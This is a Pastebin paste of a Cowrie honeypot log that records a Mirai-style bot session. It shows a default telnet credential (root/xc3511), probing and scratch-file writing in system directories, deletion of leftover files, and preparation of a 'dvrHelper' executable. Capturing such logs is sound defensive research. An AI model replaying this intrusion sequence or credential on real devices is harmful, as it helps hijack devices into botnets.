daily pastebin goal
31%
SHARE
TWEET

Typical Mirai log

bontchev Jan 20th, 2017 127 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. 2017-01-18T20:01:35+0200 [cowrie.telnet.transport.HoneyPotTelnetFactory] New connection: 67.229.225.18:42039 (192.168.0.102:23) [session: TT17]
  2. 2017-01-18T20:01:39+0200 [CowrieTelnetTransport,17,67.229.225.18] login attempt [root/xc3511] succeeded
  3. 2017-01-18T20:01:39+0200 [CowrieTelnetTransport,17,67.229.225.18] Opening TTY Log: log/tty/20170118-200139-None-17i.log
  4. 2017-01-18T20:01:39+0200 [CowrieTelnetTransport,17,67.229.225.18] Warning: state changed and new state returned
  5. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: enable
  6. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: enable
  7. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] Reading txtcmd from "txtcmds/bin/enable"
  8. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: shell
  9. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] Command not found: shell
  10. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: sh
  11. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: sh
  12. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox ECCHI
  13. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox ECCHI
  14. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox ps; /bin/busybox ECCHI
  15. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox ps
  16. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: ps
  17. 2017-01-18T20:01:40+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox ECCHI
  18. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox cat /proc/mounts; /bin/busybox ECCHI
  19. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /proc/mounts
  20. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /proc/mounts
  21. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox ECCHI
  22. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys' > /sys/.nippon; /bin/busybox cat /sys/.nippon; /bin/busybox rm /sys/.nippon
  23. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys' > /sys/.nippon
  24. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69/sys'
  25. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /sys/.nippon
  26. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /sys/.nippon
  27. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /sys/.nippon
  28. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /sys/.nippon
  29. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc' > /proc/.nippon; /bin/busybox cat /proc/.nippon; /bin/busybox rm /proc/.nippon
  30. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc' > /proc/.nippon
  31. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69/proc'
  32. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /proc/.nippon
  33. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /proc/.nippon
  34. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /proc/.nippon
  35. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /proc/.nippon
  36. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon
  37. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon
  38. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69/dev'
  39. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /dev/.nippon
  40. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /dev/.nippon
  41. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /dev/.nippon
  42. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/.nippon
  43. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/pts' > /dev/pts/.nippon; /bin/busybox cat /dev/pts/.nippon; /bin/busybox rm /dev/pts/.nippon
  44. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev/pts' > /dev/pts/.nippon
  45. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69/dev/pts'
  46. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /dev/pts/.nippon
  47. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /dev/pts/.nippon
  48. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /dev/pts/.nippon
  49. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/pts/.nippon
  50. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/run' > /run/.nippon; /bin/busybox cat /run/.nippon; /bin/busybox rm /run/.nippon
  51. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/run' > /run/.nippon
  52. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69/run'
  53. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /run/.nippon
  54. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /run/.nippon
  55. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /run/.nippon
  56. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/.nippon
  57. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon; /bin/busybox cat /.nippon; /bin/busybox rm /.nippon
  58. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69' > /.nippon
  59. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69'
  60. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /.nippon
  61. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /.nippon
  62. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /.nippon
  63. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /.nippon
  64. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup' > /sys/fs/cgroup/.nippon; /bin/busybox cat /sys/fs/cgroup/.nippon; /bin/busybox rm /sys/fs/cgroup/.nippon
  65. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup' > /sys/fs/cgroup/.nippon
  66. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /sys/fs/cgroup/.nippon
  67. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /sys/fs/cgroup/.nippon
  68. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /sys/fs/cgroup/.nippon
  69. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /sys/fs/cgroup/.nippon
  70. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/fuse/connections' > /sys/fs/fuse/connections/.nippon; /bin/busybox cat /sys/fs/fuse/connections/.nippon; /bin/busybox rm /sys/fs/fuse/connections/.nippon
  71. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/fuse/connections' > /sys/fs/fuse/connections/.nippon
  72. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /sys/fs/fuse/connections/.nippon
  73. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /sys/fs/fuse/connections/.nippon
  74. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /sys/fs/fuse/connections/.nippon
  75. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /sys/fs/fuse/connections/.nippon
  76. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/debug' > /sys/kernel/debug/.nippon; /bin/busybox cat /sys/kernel/debug/.nippon; /bin/busybox rm /sys/kernel/debug/.nippon
  77. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/debug' > /sys/kernel/debug/.nippon
  78. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /sys/kernel/debug/.nippon
  79. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /sys/kernel/debug/.nippon
  80. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /sys/kernel/debug/.nippon
  81. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /sys/kernel/debug/.nippon
  82. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/security' > /sys/kernel/security/.nippon; /bin/busybox cat /sys/kernel/security/.nippon; /bin/busybox rm /sys/kernel/security/.nippon
  83. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/kernel/security' > /sys/kernel/security/.nippon
  84. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /sys/kernel/security/.nippon
  85. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /sys/kernel/security/.nippon
  86. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /sys/kernel/security/.nippon
  87. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /sys/kernel/security/.nippon
  88. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/lock' > /run/lock/.nippon; /bin/busybox cat /run/lock/.nippon; /bin/busybox rm /run/lock/.nippon
  89. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/lock' > /run/lock/.nippon
  90. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69/run/lock'
  91. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /run/lock/.nippon
  92. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /run/lock/.nippon
  93. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /run/lock/.nippon
  94. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/lock/.nippon
  95. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/shm' > /run/shm/.nippon; /bin/busybox cat /run/shm/.nippon; /bin/busybox rm /run/shm/.nippon
  96. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/shm' > /run/shm/.nippon
  97. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69/run/shm'
  98. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /run/shm/.nippon
  99. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /run/shm/.nippon
  100. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /run/shm/.nippon
  101. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/shm/.nippon
  102. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/user' > /run/user/.nippon; /bin/busybox cat /run/user/.nippon; /bin/busybox rm /run/user/.nippon
  103. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/user' > /run/user/.nippon
  104. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /run/user/.nippon
  105. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /run/user/.nippon
  106. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /run/user/.nippon
  107. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/user/.nippon
  108. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/pstore' > /sys/fs/pstore/.nippon; /bin/busybox cat /sys/fs/pstore/.nippon; /bin/busybox rm /sys/fs/pstore/.nippon
  109. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/pstore' > /sys/fs/pstore/.nippon
  110. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /sys/fs/pstore/.nippon
  111. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /sys/fs/pstore/.nippon
  112. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /sys/fs/pstore/.nippon
  113. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /sys/fs/pstore/.nippon
  114. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/boot' > /boot/.nippon; /bin/busybox cat /boot/.nippon; /bin/busybox rm /boot/.nippon
  115. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/boot' > /boot/.nippon
  116. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69/boot'
  117. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /boot/.nippon
  118. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /boot/.nippon
  119. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /boot/.nippon
  120. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /boot/.nippon
  121. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc' > /proc/sys/fs/binfmt_misc/.nippon; /bin/busybox cat /proc/sys/fs/binfmt_misc/.nippon; /bin/busybox rm /proc/sys/fs/binfmt_misc/.nippon
  122. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc' > /proc/sys/fs/binfmt_misc/.nippon
  123. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69/proc/sys/fs/binfmt_misc'
  124. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /proc/sys/fs/binfmt_misc/.nippon
  125. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /proc/sys/fs/binfmt_misc/.nippon
  126. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /proc/sys/fs/binfmt_misc/.nippon
  127. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /proc/sys/fs/binfmt_misc/.nippon
  128. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/systemd' > /sys/fs/cgroup/systemd/.nippon; /bin/busybox cat /sys/fs/cgroup/systemd/.nippon; /bin/busybox rm /sys/fs/cgroup/systemd/.nippon
  129. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/sys/fs/cgroup/systemd' > /sys/fs/cgroup/systemd/.nippon
  130. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /sys/fs/cgroup/systemd/.nippon
  131. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /sys/fs/cgroup/systemd/.nippon
  132. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /sys/fs/cgroup/systemd/.nippon
  133. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /sys/fs/cgroup/systemd/.nippon
  134. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/user/1000/gvfs' > /run/user/1000/gvfs/.nippon; /bin/busybox cat /run/user/1000/gvfs/.nippon; /bin/busybox rm /run/user/1000/gvfs/.nippon
  135. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/run/user/1000/gvfs' > /run/user/1000/gvfs/.nippon
  136. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /run/user/1000/gvfs/.nippon
  137. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /run/user/1000/gvfs/.nippon
  138. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /run/user/1000/gvfs/.nippon
  139. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/user/1000/gvfs/.nippon
  140. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon
  141. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox echo -e '\x6b\x61\x6d\x69/dev' > /dev/.nippon
  142. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: echo -e '\x6b\x61\x6d\x69/dev'
  143. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /dev/.nippon
  144. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /dev/.nippon
  145. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox rm /dev/.nippon
  146. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/.nippon
  147. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox ECCHI
  148. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox ECCHI
  149. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /sys/.t; rm /sys/.sh; rm /sys/.human
  150. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /sys/.t
  151. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /sys/.sh
  152. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /sys/.human
  153. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /proc/.t; rm /proc/.sh; rm /proc/.human
  154. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /proc/.t
  155. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /proc/.sh
  156. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /proc/.human
  157. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /dev/.t; rm /dev/.sh; rm /dev/.human
  158. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/.t
  159. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/.sh
  160. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/.human
  161. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /dev/pts/.t; rm /dev/pts/.sh; rm /dev/pts/.human
  162. 2017-01-18T20:01:41+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/pts/.t
  163. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/pts/.sh
  164. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/pts/.human
  165. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /run/.t; rm /run/.sh; rm /run/.human
  166. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/.t
  167. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/.sh
  168. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/.human
  169. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /.t; rm /.sh; rm /.human
  170. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /.t
  171. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /.sh
  172. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /.human
  173. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /run/lock/.t; rm /run/lock/.sh; rm /run/lock/.human
  174. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/lock/.t
  175. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/lock/.sh
  176. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/lock/.human
  177. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /run/shm/.t; rm /run/shm/.sh; rm /run/shm/.human
  178. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/shm/.t
  179. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/shm/.sh
  180. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /run/shm/.human
  181. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /boot/.t; rm /boot/.sh; rm /boot/.human
  182. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /boot/.t
  183. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /boot/.sh
  184. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /boot/.human
  185. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /proc/sys/fs/binfmt_misc/.t; rm /proc/sys/fs/binfmt_misc/.sh; rm /proc/sys/fs/binfmt_misc/.human
  186. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /proc/sys/fs/binfmt_misc/.t
  187. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /proc/sys/fs/binfmt_misc/.sh
  188. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /proc/sys/fs/binfmt_misc/.human
  189. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: rm /dev/.t; rm /dev/.sh; rm /dev/.human
  190. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/.t
  191. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/.sh
  192. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: rm /dev/.human
  193. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: cd /sys/
  194. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cd /sys
  195. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox cp /bin/echo dvrHelper; >dvrHelper; /bin/busybox chmod 777 dvrHelper; /bin/busybox ECCHI
  196. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cp /bin/echo dvrHelper
  197. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cp /bin/echo dvrHelper
  198. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: > /sys/dvrHelper
  199. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox chmod 777 /sys/dvrHelper
